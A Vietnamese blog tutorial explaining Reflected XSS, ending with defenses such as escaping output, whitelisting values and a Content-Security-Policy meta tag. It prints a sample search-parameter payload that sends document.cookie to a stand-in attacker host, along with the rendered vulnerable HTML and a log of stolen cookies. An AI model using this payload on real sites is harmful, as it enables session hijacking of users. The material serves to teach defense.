Tìm kiếm bài viết

Lỗ hổng bảo mật Reflected XSS - Bảo mật website

09.11.2020

5.0/5 (1 Reviews)

Chào các bạn khi thiết kế website, bạn cần chắc chắn rằng không cho phép mã độc Javascript được trả ra. mình đã có viết về Khác với Stored-XSS, Reflected-XSS đoạn mã khai thác sẽ không được lưu trữ trên server.

    Tổng quan về lỗi bảo mật XSS

    Chào các bạn khi thiết kế website, bạn cần chắc chắn rằng không cho phép mã độc Javascript được trả ra. mình đã có viết về Khác với Stored-XSS, Reflected-XSS đoạn mã khai thác sẽ không được lưu trữ trên server. Stored-XSS cho phép kẻ tấn công lưu trữ mã độc JS trên database của server, nó đồng nghĩa với việc những người dùng khác cũng bị ảnh hưởng khi truy cập vào trang có chứa mã độc.

    Trong bài viết này, chúng ta sẽ tìm hiểu một cách tấn công nữa mà trong đó kẻ tấn công có thể sử dụng XSS để truyền mã độc JS, cách tấn công đó được gọi là Reflected XSS.

    Reflected XSS

    Nếu như website của bạn nhận request HTTP từ người dùng và hiển thị lại cho họ, như vậy là bạn đã kích hoạt một vectơ khác từ bên thứ ba có thể tiêm JavaScript độc hại. Cùng xem nó hoạt động thế nào nhé.

    Cách thức hoạt động

    Nhân vật quen thuộc trong các bài viết của mình đó là Mal, đực rựa này tìm ra chức năng search trên trang web của bạn có vấn đề và hắn sẽ chén nó.

    Hắn biết rằng từ khóa tìm kiếm trên URL sẽ được hiện thị trên trang kết quả tìm kiếm, và hắn cũng tự hỏi liệu nó đã escaped ?

    Để kiểm, hắn sửa url với đoạn snippet JS trên search param:

    www.lptech.asia?search=<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script>.

    Khi hắn drops đường dẫn trên trình duyệt, đoạn JS được inject sẽ thực thi và chuyển hướng tới haxxed.com?cookie=asFFEfn222fefeknladf (site độc) 

    Bây giờ hắn tiến hành lừa ai đó, như Vic tội nghiệp - nhân vật bất hạnh trong này chẳng hạn )

    Mal gửi cho Vic email với đường dẫn đầy cám dỗ, và được trỏ tới đường dẫn đã được chỉnh sửa

    Vic click vào link, page render ra search parameter trong html mà không được escape đúng cách, nó sẽ tạo mới thẻ <script>

    <div class="search-terms">
      Search results for "<script>
        window.location="http://www.haxxed.com?cookie="+document.cookie
      </script>"
    </div>
    
    <h6>No results found</h6>
    

    Đoạn script được thực thi khi trang web được load, và không có taco nào cả bạn được điều hướng tới một trang web độc kèm theo cookie. Mal sẽ kiểm tra server log và hijack session của Vic

    http://www.lptech.asia?cookie=asdfefefffasdfCsdfnE
    http://www.lptech.asia?cookie=engkelfiAnlJreklfNkl
    http://www.lptech.asia?cookie=SneklfjsdkleekflaAne
    http://www.lptech.asia?cookie=asFFEfn222fefeknladf
    

    Rủi ro

    Đây là lỗi thường gặp, dễ khai thác, và nguy hiểm, nó không nguy hiểm bằng stored XSS attacks nhưng lại phổ biến hơn nhiều.

    Lỗ hổng này rất dễ bị bỏ qua ở phần review lại code, vì thường chúng ta sẽ kiểm tra chủ yếu phần data được lưu trữ. Bạn hãy đặc biệt cẩn thận trong việc kiểm tra các loại trang sau đây:

    1. kết quả tìm kiếm
    2. Error pages
    3. form submissions

    Ví dụ vừa rồi chúng ta đã thấy được lỗi xảy ra với phương thức GET, tuy nhiên POST request nên được kiểm tra cẩn thận. Kể cả khi bạn sử dụng CSRF thì kẻ tấn công vẫn có thể vượt qua bằng cách thức tấn công này.

    Cách Bảo vệ và phòng chống XSS

    Hãy chắc cú rằng dynamic content trả ra không thể inject Javascript.

    1. Escape dynamic content
    2. Whitelist Values
    3. Implement a Content-Security Policy

    Với Implement a Content-Security Policy bạn có thể sử dụng thẻ <meta> trong <head> với nội dung sau:

    <meta http-equiv="Content-Security-Policy" content="script-src 'self' https://apis.google.com">
    

    Tổng kết

    Trên đây là phần giới thiệu cơ bản về Reflected-XSS, hy vọng sẽ giúp bạn tránh được lỗi bảo mật này. Cảm ơn đã đọc hết, happy coding ! 

    CÓ THỂ BẠN QUAN TÂM

    Bài Viết Cùng Chuyên Mục

    XEM THÊM
    thumbnail

    Kubernetes bài 6 - Vận hành k8s Day-Two Operations và Quản trị bằng GitOps

    22.05.2026

    Khi cụm Kubernetes của bạn đã được bảo mật cấu hình, tối ưu tài nguyên và thiết lập tự phục hồi, câu hỏi đặt ra là làm sao để duy trì sự ổn định đó trong nhiều năm tiếp theo mà không bị phụ thuộc

    thumbnail

    Kubernetes bài 5 - bảo mật Cloud Native và chuẩn DevSecOps cho K8s

    22.05.2026

    Việc siết chặt an ninh (Hardening) không phải là cấu hình một vài thông số rồi bỏ đó, mà là một tư duy phòng thủ chiều sâu.

    thumbnail

    Kubernetes bài 4 - Tối ưu Resource Auto-Healing và Scale Zero-Downtime

    22.05.2026

    Bài viết này sẽ đi sâu vào các cơ chế ở tầng Kernel giúp hệ thống tự phục hồi, chống lại các đợt tấn công cạn kiệt tài nguyên và cập nhật phiên bản mới mà người dùng không hề hay biết.

    thumbnail

    Kubernetes bài 3 - Bảo mật cấu hình k8s và config Security trên Production

    22.05.2026

    Kubernetes giải quyết bài toán này bằng hai đối tượng chuyên biệt nhưng nếu không hiểu rõ bản chất bảo mật ở tầng dưới, bạn đang tự tay dâng toàn bộ chìa khóa hệ thống cho hacker.

    thumbnail

    Kubernetes bài 2 - Mạng lưới k8s và luồng Traffic ở Packet Level

    22.05.2026

    Pod không chỉ là một container: Rất nhiều người nhầm lẫn Pod 1-1 với Container. Thực chất, Pod là đơn vị triển khai nhỏ nhất, có thể chứa một hoặc nhiều container

    Mục lục bài viết